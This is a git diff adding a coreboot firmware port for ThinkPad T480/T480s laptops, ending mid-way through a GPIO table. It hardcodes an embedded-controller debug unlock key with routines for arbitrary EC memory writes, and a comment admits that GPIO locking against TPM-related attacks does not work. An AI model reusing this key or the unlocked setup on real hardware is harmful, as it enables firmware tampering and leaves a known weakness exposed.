a/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name +new file mode 100644 +index 0000000000..abc273f387 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name +@@ -0,0 +1,7 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_LENOVO_T480 ++ bool "ThinkPad T480" ++ ++config BOARD_LENOVO_T480S ++ bool "ThinkPad T480s" +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk b/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk +new file mode 100644 +index 0000000000..c308239177 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk +@@ -0,0 +1,73 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++bootblock-y += bootblock.c ec.c ++ ++romstage-y += variants/$(VARIANT_DIR)/memory_init_params.c ++ ++ramstage-y += ramstage.c ec.c ++ramstage-y += variants/$(VARIANT_DIR)/gpio.c variants/$(VARIANT_DIR)/hda_verb.c ++ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += variants/$(VARIANT_DIR)/gma-mainboard.ads ++ ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_0.bin ++spd_0.bin-file := variants/$(VARIANT_DIR)/spd/spd_0.bin ++spd_0.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_1.bin ++spd_1.bin-file := variants/$(VARIANT_DIR)/spd/spd_1.bin ++spd_1.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_2.bin ++spd_2.bin-file := variants/$(VARIANT_DIR)/spd/spd_2.bin ++spd_2.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_3.bin ++spd_3.bin-file := variants/$(VARIANT_DIR)/spd/spd_3.bin ++spd_3.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_4.bin ++spd_4.bin-file := variants/$(VARIANT_DIR)/spd/spd_4.bin ++spd_4.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_5.bin ++spd_5.bin-file := variants/$(VARIANT_DIR)/spd/spd_5.bin ++spd_5.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_6.bin ++spd_6.bin-file := variants/$(VARIANT_DIR)/spd/spd_6.bin ++spd_6.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_7.bin ++spd_7.bin-file := variants/$(VARIANT_DIR)/spd/spd_7.bin ++spd_7.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_8.bin ++spd_8.bin-file := variants/$(VARIANT_DIR)/spd/spd_8.bin ++spd_8.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_9.bin ++spd_9.bin-file := variants/$(VARIANT_DIR)/spd/spd_9.bin ++spd_9.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_10.bin ++spd_10.bin-file := variants/$(VARIANT_DIR)/spd/spd_10.bin ++spd_10.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_11.bin ++spd_11.bin-file := variants/$(VARIANT_DIR)/spd/spd_11.bin ++spd_11.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_12.bin ++spd_12.bin-file := variants/$(VARIANT_DIR)/spd/spd_12.bin ++spd_12.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_13.bin ++spd_13.bin-file := variants/$(VARIANT_DIR)/spd/spd_13.bin ++spd_13.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_14.bin ++spd_14.bin-file := variants/$(VARIANT_DIR)/spd/spd_14.bin ++spd_14.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_15.bin ++spd_15.bin-file := variants/$(VARIANT_DIR)/spd/spd_15.bin ++spd_15.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_16.bin ++spd_16.bin-file := variants/$(VARIANT_DIR)/spd/spd_16.bin ++spd_16.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_17.bin ++spd_17.bin-file := variants/$(VARIANT_DIR)/spd/spd_17.bin ++spd_17.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_18.bin ++spd_18.bin-file := variants/$(VARIANT_DIR)/spd/spd_18.bin ++spd_18.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_19.bin ++spd_19.bin-file := variants/$(VARIANT_DIR)/spd/spd_19.bin ++spd_19.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_20.bin ++spd_20.bin-file := variants/$(VARIANT_DIR)/spd/spd_20.bin ++spd_20.bin-type := raw +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl +new file mode 100644 +index 0000000000..3a949a2fca +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl +@@ -0,0 +1,12 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#define BRIGHTNESS_UP \_SB.PCI0.GFX0.INCB ++#define BRIGHTNESS_DOWN \_SB.PCI0.GFX0.DECB ++#define THINKPAD_EC_GPE 22 ++ ++Name(\TCRT, 100) ++Name(\TPSV, 90) ++Name(\FLVL, 0) ++ ++#include ++#include +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl +new file mode 100644 +index 0000000000..55b1db5b11 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl +@@ -0,0 +1,3 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c b/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c +new file mode 100644 +index 0000000000..fb660dbdfa +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c +@@ -0,0 +1,60 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include "ec.h" ++ ++static void configure_uart(uint16_t port, uint16_t iobase, uint8_t irqno) ++{ ++ microchip_pnp_enter_conf_state(port); ++ ++ // Select LPC I/F LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_LPCIF); ++ // Write UART BAR ++ pnp_write_le32(port, LPCIF_BAR_UART, (uint32_t) iobase << 16 | 0x8707); ++ // Set SIRQ4 to UART ++ pnp_write(port, LPCIF_SIRQ(irqno), LDN_UART); ++ ++ // Configure UART LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_UART); ++ pnp_write(port, UART_ACTIVATE, 0x01); ++ pnp_write(port, UART_CONFIG_SELECT, 0x00); ++ ++ microchip_pnp_exit_conf_state(port); ++ ++#ifdef CONFIG_BOARD_LENOVO_T480 ++ // Supply debug unlock key ++ debug_write_key(DEBUG_RW_KEY_IDX, debug_rw_key); ++ ++ // Use debug writes to set UART_TX and UART_RX GPIOs ++ debug_write_dword(0xf0c400 + 0x110, 0x00001000); ++ debug_write_dword(0xf0c400 + 0x114, 0x00001000); ++#endif ++} ++ ++ ++#define UART_PORT 0x3f8 ++#define UART_IRQ 4 ++ ++void bootblock_mainboard_early_init(void) ++{ ++ // Tell EC via BIOS Debug Port 1 that the world isn't on fire ++ ++ // Let the EC know that BIOS code is running ++ outb(0x11, 0x86); ++ outb(0x6e, 0x86); ++ ++ // Enable accesses to EC1 interface ++ ec0_write(0, ec0_read(0) | 0x20); ++ ++ // Reset LEDs to power on state ++ // (Without this warm reboot leaves LEDs off) ++ ec0_write(0x0c, 0x80); ++ ec0_write(0x0c, 0x07); ++ ec0_write(0x0c, 0x8a); ++ ++ // Setup debug UART ++ configure_uart(EC_CFG_PORT, UART_PORT, UART_IRQ); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb +new file mode 100644 +index 0000000000..c07d4d53ca +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb +@@ -0,0 +1,71 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ # IGD Displays ++ register "gfx" = "GMA_STATIC_DISPLAYS(0)" ++ ++ register "panel_cfg" = "{ ++ .up_delay_ms = 200, ++ .down_delay_ms = 50, ++ .cycle_delay_ms = 600, ++ .backlight_on_delay_ms = 1, ++ .backlight_off_delay_ms = 200, ++ .backlight_pwm_hz = 200, ++ }" ++ ++ # Power ++ register "PmConfigSlpS3MinAssert" = "2" # 50ms ++ register "PmConfigSlpS4MinAssert" = "1" # 1s ++ register "PmConfigSlpSusMinAssert" = "3" # 500ms ++ register "PmConfigSlpAMinAssert" = "3" # 2s ++ ++ device domain 0 on ++ device ref igpu on end ++ device ref sa_thermal on end ++ device ref thermal on end ++ device ref south_xhci on end ++ device ref lpc_espi on ++ register "serirq_mode" = "SERIRQ_CONTINUOUS" ++ ++ register "gen1_dec" = "0x007c1601" ++ register "gen2_dec" = "0x000c15e1" ++ ++ chip ec/lenovo/pmh7 ++ register "backlight_enable" = "true" ++ register "dock_event_enable" = "true" ++ device pnp ff.1 on end # dummy ++ end ++ ++ chip ec/lenovo/h8 ++ register "beepmask0" = "0x00" ++ register "beepmask1" = "0x86" ++ register "config0" = "0xa6" ++ register "config1" = "0x0d" ++ register "config2" = "0xa8" ++ register "config3" = "0xc4" ++ register "has_keyboard_backlight" = "1" ++ register "event2_enable" = "0xff" ++ register "event3_enable" = "0xff" ++ register "event4_enable" = "0xd0" ++ register "event5_enable" = "0x3c" ++ register "event7_enable" = "0x01" ++ register "event8_enable" = "0x7b" ++ register "event9_enable" = "0xff" ++ register "eventc_enable" = "0xff" ++ register "eventd_enable" = "0xff" ++ register "evente_enable" = "0x9d" ++ device pnp ff.2 on # dummy ++ io 0x60 = 0x62 ++ io 0x62 = 0x66 ++ io 0x64 = 0x1600 ++ io 0x66 = 0x1604 ++ end ++ end ++ ++ chip drivers/pc80/tpm ++ device pnp 0c31.0 on end ++ end ++ end ++ device ref hda on end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl b/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl +new file mode 100644 +index 0000000000..aa4d4de2a6 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl +@@ -0,0 +1,33 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++DefinitionBlock( ++ "dsdt.aml", ++ "DSDT", ++ ACPI_DSDT_REV_2, ++ OEM_ID, ++ ACPI_TABLE_CREATOR, ++ 0x20110725 ++) ++{ ++ #include ++ #include ++ #include ++ ++ Device (\_SB.PCI0) ++ { ++ #include ++ #include ++ #include ++ } ++ ++ Scope (\_SB.PCI0.RP01) ++ { ++ Device (PEGP) ++ { ++ Name (_ADR, Zero) ++ } ++ } ++ ++ #include ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ec.c b/src/mainboard/lenovo/sklkbl_thinkpad/ec.c +new file mode 100644 +index 0000000000..adb6a60324 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ec.c +@@ -0,0 +1,153 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "ec.h" ++ ++#define MICROCHIP_CONFIGURATION_ENTRY_KEY 0x55 ++#define MICROCHIP_CONFIGURATION_EXIT_KEY 0xaa ++ ++void microchip_pnp_enter_conf_state(uint16_t port) ++{ ++ outb(MICROCHIP_CONFIGURATION_ENTRY_KEY, port); ++} ++ ++void microchip_pnp_exit_conf_state(uint16_t port) ++{ ++ outb(MICROCHIP_CONFIGURATION_EXIT_KEY, port); ++} ++ ++uint8_t pnp_read(uint16_t port, uint8_t index) ++{ ++ outb(index, port); ++ return inb(port + 1); ++} ++ ++uint32_t pnp_read_le32(uint16_t port, uint8_t index) ++{ ++ return (uint32_t) pnp_read(port, index) | ++ (uint32_t) pnp_read(port, index + 1) << 8 | ++ (uint32_t) pnp_read(port, index + 2) << 16 | ++ (uint32_t) pnp_read(port, index + 3) << 24; ++} ++ ++void pnp_write(uint16_t port, uint8_t index, uint8_t value) ++{ ++ outb(index, port); ++ outb(value, port + 1); ++} ++ ++void pnp_write_le32(uint16_t port, uint8_t index, uint32_t value) ++{ ++ pnp_write(port, index, value & 0xff); ++ pnp_write(port, index + 1, value >> 8 & 0xff); ++ pnp_write(port, index + 2, value >> 16 & 0xff); ++ pnp_write(port, index + 3, value >> 24 & 0xff); ++} ++ ++static void ecN_clear_out_queue(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (inb(cmd_port) & EC_OBF) ++ inb(data_port); ++} ++ ++static void ecN_wait_to_send(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (inb(cmd_port) & EC_IBF) ++ ; ++} ++ ++static void ecN_wait_to_recv(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (!(inb(cmd_port) & EC_OBF)) ++ ; ++} ++ ++uint8_t ecN_read(uint16_t cmd_port, uint16_t data_port, uint8_t addr) ++{ ++ ecN_clear_out_queue(cmd_port, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(EC_READ, cmd_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(addr, data_port); ++ ecN_wait_to_recv(cmd_port, data_port); ++ return inb(data_port); ++} ++ ++void ecN_write(uint16_t cmd_port, uint16_t data_port, uint8_t addr, uint8_t val) ++{ ++ ecN_clear_out_queue(cmd_port, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(EC_WRITE, cmd_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(addr, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(val, data_port); ++} ++ ++uint8_t eeprom_read(uint16_t addr) ++{ ++ ecN_clear_out_queue(EC2_CMD, EC2_DATA); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(1, EC2_CMD); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(addr, EC2_DATA); ++ ecN_wait_to_recv(EC2_CMD, EC2_DATA); ++ return inl(EC2_DATA); ++} ++ ++void eeprom_write(uint16_t addr, uint8_t val) ++{ ++ ecN_clear_out_queue(EC2_CMD, EC2_DATA); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(2, EC2_CMD); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl((uint32_t) addr | (uint32_t) val << 16, EC2_DATA); ++ ecN_wait_to_recv(EC2_CMD, EC2_DATA); ++ inl(EC2_DATA); ++} ++ ++uint16_t debug_loaded_keys(void) ++{ ++ return (uint16_t) ec0_read(0x87) << 8 | (uint16_t) ec0_read(0x86); ++} ++ ++static void debug_cmd(uint8_t cmd) ++{ ++ ec0_write(EC_DEBUG_CMD, cmd); ++ while (ec0_read(EC_DEBUG_CMD) & 0x80) ++ ; ++} ++ ++void debug_read_key(uint8_t i, uint8_t *key) ++{ ++ debug_cmd(0x80 | (i & 0xf)); ++ for (int j = 0; j < 8; ++j) ++ key[j] = ec0_read(0x3e + j); ++} ++ ++void debug_write_key(uint8_t i, const uint8_t *key) ++{ ++ for (int j = 0; j < 8; ++j) ++ ec0_write(0x3e + j, key[j]); ++ debug_cmd(0xc0 | (i & 0xf)); ++} ++ ++uint32_t debug_read_dword(uint32_t addr) ++{ ++ ecN_clear_out_queue(EC3_CMD, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(addr << 8 | 0xE2, EC3_DATA); ++ ecN_wait_to_recv(EC3_CMD, EC3_DATA); ++ return inl(EC3_DATA); ++} ++ ++void debug_write_dword(uint32_t addr, uint32_t val) ++{ ++ ecN_clear_out_queue(EC3_CMD, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(addr << 8 | 0xEA, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(val, EC3_DATA); ++} ++ ++const uint8_t debug_rw_key[8] = { 0x7a, 0x41, 0xb1, 0x49, 0xfe, 0x21, 0x01, 0xcf }; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ec.h b/src/mainboard/lenovo/sklkbl_thinkpad/ec.h +new file mode 100644 +index 0000000000..d2963c8962 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ec.h +@@ -0,0 +1,99 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#ifndef SKLKBL_THINKPAD_EC_H ++#define SKLKBL_THINKPAD_EC_H ++ ++// EC configuration base address ++#define EC_CFG_PORT 0x4e ++ ++// Chip global registers ++#define PNP_LDN_SELECT 0x07 ++# define LDN_UART 0x07 ++# define LDN_LPCIF 0x0c ++#define EC_DEVICE_ID 0x20 ++#define EC_DEVICE_REV 0x21 ++ ++// LPC I/F registers ++#define LPCIF_SIRQ(i) (0x40 + (i)) ++ ++#define LPCIF_BAR_CFG 0x60 ++#define LPCIF_BAR_MAILBOX 0x64 ++#define LPCIF_BAR_8042 0x68 ++#define LPCIF_BAR_ACPI_EC0 0x6c ++#define LPCIF_BAR_ACPI_EC1 0x70 ++#define LPCIF_BAR_ACPI_EC2 0x74 ++#define LPCIF_BAR_ACPI_EC3 0x78 ++#define LPCIF_BAR_ACPI_PM0 0x7c ++#define LPCIF_BAR_UART 0x80 ++#define LPCIF_BAR_FAST_KYBD 0x84 ++#define LPCIF_BAR_EMBED_FLASH 0x88 ++#define LPCIF_BAR_GP_SPI 0x8c ++#define LPCIF_BAR_EMI 0x90 ++#define LPCIF_BAR_PMH7 0x94 ++#define LPCIF_BAR_PORT80_DBG0 0x98 ++#define LPCIF_BAR_PORT80_DBG1 0x9c ++#define LPCIF_BAR_RTC 0xa0 ++ ++// UART registers ++#define UART_ACTIVATE 0x30 ++#define UART_CONFIG_SELECT 0xf0 ++ ++void microchip_pnp_enter_conf_state(uint16_t port); ++void microchip_pnp_exit_conf_state(uint16_t port); ++uint8_t pnp_read(uint16_t port, uint8_t index); ++uint32_t pnp_read_le32(uint16_t port, uint8_t index); ++void pnp_write(uint16_t port, uint8_t index, uint8_t value); ++void pnp_write_le32(uint16_t port, uint8_t index, uint32_t value); ++ ++#define EC0_CMD 0x0066 ++#define EC0_DATA 0x0062 ++#define EC1_CMD 0x1604 ++#define EC1_DATA 0x1600 ++#define EC2_CMD 0x1634 ++#define EC2_DATA 0x1630 ++#define EC3_CMD 0x161c ++#define EC3_DATA 0x1618 ++ ++#define EC_OBF (1 << 0) ++#define EC_IBF (1 << 1) ++ ++#define EC_READ 0x80 ++#define EC_WRITE 0x81 ++ ++uint8_t ecN_read(uint16_t cmd_port, uint16_t data_port, uint8_t addr); ++ ++void ecN_write(uint16_t cmd_port, uint16_t data_port, uint8_t addr, uint8_t val); ++ ++// EC0 and EC1 mostly are useful with the READ/WRITE commands ++#define ec0_read(addr) ecN_read(EC0_CMD, EC0_DATA, addr) ++#define ec0_write(addr, val) ecN_write(EC0_CMD, EC0_DATA, addr, val) ++#define ec1_read(addr) ecN_read(EC1_CMD, EC1_DATA, addr) ++#define ec1_write(addr, val) ecN_write(EC1_CMD, EC1_DATA, addr, val) ++ ++// Read from the emulated EEPROM ++uint8_t eeprom_read(uint16_t addr); ++ ++// Write to the emulated EEPROM ++void eeprom_write(uint16_t addr, uint8_t val); ++ ++// Read loaded debug key mask ++uint16_t debug_loaded_keys(void); ++ ++// The following location (via either EC0 or EC1) can be used to interact with the debug interface ++#define EC_DEBUG_CMD 0x3d ++ ++void debug_read_key(uint8_t i, uint8_t *key); ++ ++void debug_write_key(uint8_t i, const uint8_t *key); ++ ++uint32_t debug_read_dword(uint32_t addr); ++ ++void debug_write_dword(uint32_t addr, uint32_t val); ++ ++// RW unlock key index ++#define DEBUG_RW_KEY_IDX 1 ++ ++// RW unlock key for EC version N24HT37W ++extern const uint8_t debug_rw_key[8]; ++ ++#endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h b/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h +new file mode 100644 +index 0000000000..d89ed712d4 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h +@@ -0,0 +1,8 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#ifndef GPIO_H ++#define GPIO_H ++ ++void variant_config_gpios(void); ++ ++#endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c b/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c +new file mode 100644 +index 0000000000..44c8578852 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c +@@ -0,0 +1,105 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include ++#include "ec.h" ++#include "gpio.h" ++ ++#define GPIO_GPU_RST GPP_E22 // active low ++#define GPIO_1R8VIDEO_AON_ON GPP_E23 ++ ++#define GPIO_DGFX_PWRGD GPP_F3 ++ ++#define GPIO_DISCRETE_PRESENCE GPP_D9 // active low ++#define GPIO_DGFX_VRAM_ID0 GPP_D11 ++#define GPIO_DGFX_VRAM_ID1 GPP_D12 ++ ++void mainboard_silicon_init_params(FSP_SIL_UPD *params) ++{ ++ static const char * const dgfx_vram_id_str[] = { "1GB", "2GB", "4GB", "N/A" }; ++ ++ int dgfx_vram_id; ++ ++ // Setup GPIOs ++ variant_config_gpios(); ++ ++ // Detect and enable dGPU ++ if (gpio_get(GPIO_DISCRETE_PRESENCE) == 0) { // active low ++ dgfx_vram_id = gpio_get(GPIO_DGFX_VRAM_ID0) | gpio_get(GPIO_DGFX_VRAM_ID1) << 1; ++ printk(BIOS_DEBUG, "Discrete GPU present with %s VRAM\n", dgfx_vram_id_str[dgfx_vram_id]); ++ ++ // NOTE: i pulled this GPU enable sequence from thin air ++ // it sometimes works but is buggy and the GPU disappears in some cases so disabling it by default. ++ // also unrelated to this enable sequence the nouveau driver only works on 6.8-6.9 kernels ++ if (get_uint_option("dgpu_enable", 0)) { ++ printk(BIOS_DEBUG, "Enabling discrete GPU\n"); ++ gpio_set(GPIO_1R8VIDEO_AON_ON, 1); // Enable GPU power rail ++ while (!gpio_get(GPIO_DGFX_PWRGD)) // Wait for power good signal from GPU ++ ; ++ gpio_set(GPIO_GPU_RST, 1); // Release GPU from reset ++ } else { ++ printk(BIOS_DEBUG, "Discrete GPU will remain disabled\n"); ++ } ++ ++ } else { ++ printk(BIOS_DEBUG, "Discrete GPU not present\n"); ++ } ++} ++ ++static void dump_ec_cfg(uint16_t port) ++{ ++ microchip_pnp_enter_conf_state(port); ++ ++ // Device info ++ printk(BIOS_DEBUG, "Device id %02x\n", pnp_read(port, EC_DEVICE_ID)); ++ printk(BIOS_DEBUG, "Device rev %02x\n", pnp_read(port, EC_DEVICE_REV)); ++ ++ // Switch to LPCIF LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_LPCIF); ++ ++ // Dump SIRQs ++ for (int i = 0; i <= 15; i += 1) ++ printk(BIOS_DEBUG, "SIRQ%d = %02x\n", i, pnp_read(port, LPCIF_SIRQ(i))); ++ ++ // Dump BARs ++ printk(BIOS_DEBUG, "BAR CFG = %08x\n", pnp_read_le32(port, LPCIF_BAR_CFG)); ++ printk(BIOS_DEBUG, "BAR MAILBOX = %08x\n", pnp_read_le32(port, LPCIF_BAR_MAILBOX)); ++ printk(BIOS_DEBUG, "BAR 8042 = %08x\n", pnp_read_le32(port, LPCIF_BAR_8042)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC0)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC1 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC1)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC2 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC2)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC3 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC3)); ++ printk(BIOS_DEBUG, "BAR ACPI_PM0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_PM0)); ++ printk(BIOS_DEBUG, "BAR UART = %08x\n", pnp_read_le32(port, LPCIF_BAR_UART)); ++ printk(BIOS_DEBUG, "BAR FAST_KYBD = %08x\n", pnp_read_le32(port, LPCIF_BAR_FAST_KYBD)); ++ printk(BIOS_DEBUG, "BAR EMBED_FLASH = %08x\n", pnp_read_le32(port, LPCIF_BAR_EMBED_FLASH)); ++ printk(BIOS_DEBUG, "BAR GP_SPI = %08x\n", pnp_read_le32(port, LPCIF_BAR_GP_SPI)); ++ printk(BIOS_DEBUG, "BAR EMI = %08x\n", pnp_read_le32(port, LPCIF_BAR_EMI)); ++ printk(BIOS_DEBUG, "BAR PMH7 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PMH7)); ++ printk(BIOS_DEBUG, "BAR PORT80_DBG0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PORT80_DBG0)); ++ printk(BIOS_DEBUG, "BAR PORT80_DBG1 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PORT80_DBG1)); ++ printk(BIOS_DEBUG, "BAR RTC = %08x\n", pnp_read_le32(port, LPCIF_BAR_RTC)); ++ ++ microchip_pnp_exit_conf_state(port); ++} ++ ++static void mainboard_enable(struct device *dev) ++{ ++ if (CONFIG(VGA_ROM_RUN)) ++ install_intel_vga_int15_handler(GMA_INT15_ACTIVE_LFP_EDP, ++ GMA_INT15_PANEL_FIT_DEFAULT, ++ GMA_INT15_BOOT_DISPLAY_DEFAULT, 0); ++} ++ ++static void mainboard_init(void *chip_info) ++{ ++ dump_ec_cfg(EC_CFG_PORT); ++} ++ ++struct chip_operations mainboard_ops = { ++ .enable_dev = mainboard_enable, ++ .init = mainboard_init, ++}; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..4db4202961d0be67b75f52b28f2111d5655595c3 +GIT binary patch +literal 4106 +zcmeHJU2GIp6h5=FKeKmc=rAo()>4l^U|XP_ZDGYy!|YE>mu}hZ4|PdQy1bV0gipVB&+pHzmFpc`=IXxii}qiqH*)7}PU+ +z?woV)x!<09?wNbfhQa6n_IK}3M!Gw&OgS)sY2Q$LJ4F+z{-JneATkt9refXr6+8sr +zR{e1eASVcGl#mf_O&p%I^1;3af=xDeN0ZnydT=;zHOH-q=O;(UFda)^LXW8| +z-Vsanq!Y==Kq9plQ+*gu^hf&pJ9?tY{h01cbtR&SfsVM!_*!D4W5>papLuo?gRur| +zF$`lX;f2t48Dpd4V@(*z=dq95OkkfiVU53N<(gE+=U)KHEdU4}@R=aMjTTTOcb8-a +zC9IXSxZB*|#u~SlHnpsY25L#Sxy6ljl16gI)H0f>for?qaszCX;ESpG=pqROFWR~Z +zTqQzcH(berra`9K(R~0OJ_eeA=> +z&R-)LYP^U3@%6h}+0)7m-mEOhOM92l32>zpvu-&@ZkPf<>~Bsv&Oy1O(`pbLUf3vt*0HIRk0U3EzI +zIeSaIE9*jps%6qP7$EQo8=K#f^K_mFpy5prkNNSOU;oI@KK0}Ge*G6eyWz+6OyADf +zE`}Db#-81u-uS=OJB*=`v}WPMs@ugdtLtbZo6OEUf}>!QL` +z1zQ!pLt!Zek0|;p3VTDrj}`q(g?+8yuZk|KY?X>TRlP@LPpbH`s-ITbSygS+Jq6cQ +zp|Em=T_#B53Y|R}mtw!K3mUyWRhytxx_wi^(}HurDkx@L%OlKIA%rq@7%bE{p{Wl~ +zJJ%lV6&>fxBjnbA8G(&P?a8o%P#c~Wo$7|%1UE-$r;6jwt1uejOfMLwF-BDgC-Q+N +za!Hx;1S&$9!rlNCTsI*IMZ0#Y5aEO7sjIz#jb`S|q7OpRYx`h&=PK}_YnN#poNF=7 +z3yTO|pc0N&G3cozl21Q6c)l0vjm~0uFL)%2_T5RYR1$~dO~u)4px!jFycZNnchPVA +z!0+Vc_afL{m>rv2PY8{Cma`W{yG~JNJu?;L!#fSLmwRW{8R@gD7Z5~{xvZGpN)U`j +z^I~=;XVmtVzgSv@Na@HC?lC8A1l2+CU Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c +new file mode 100644 +index 0000000000..f7c29e1f39 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c +@@ -0,0 +1,203 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "../../gpio.h" ++ ++/* FIXME: There are multiple GPIOs here that should be locked to prevent "TPM GPIO fail" style ++ * attacks. Unfortunately SKL/KBL GPIO locking *does not* work currently. */ ++ ++static const struct pad_config gpio_table[] = { ++ ++ /* ------- GPIO Community 0 ------- */ ++ ++ /* ------- GPIO Group GPP_A ------- */ ++ PAD_CFG_NF(GPP_A0, NONE, DEEP, NF1), /* -KBRC */ ++ 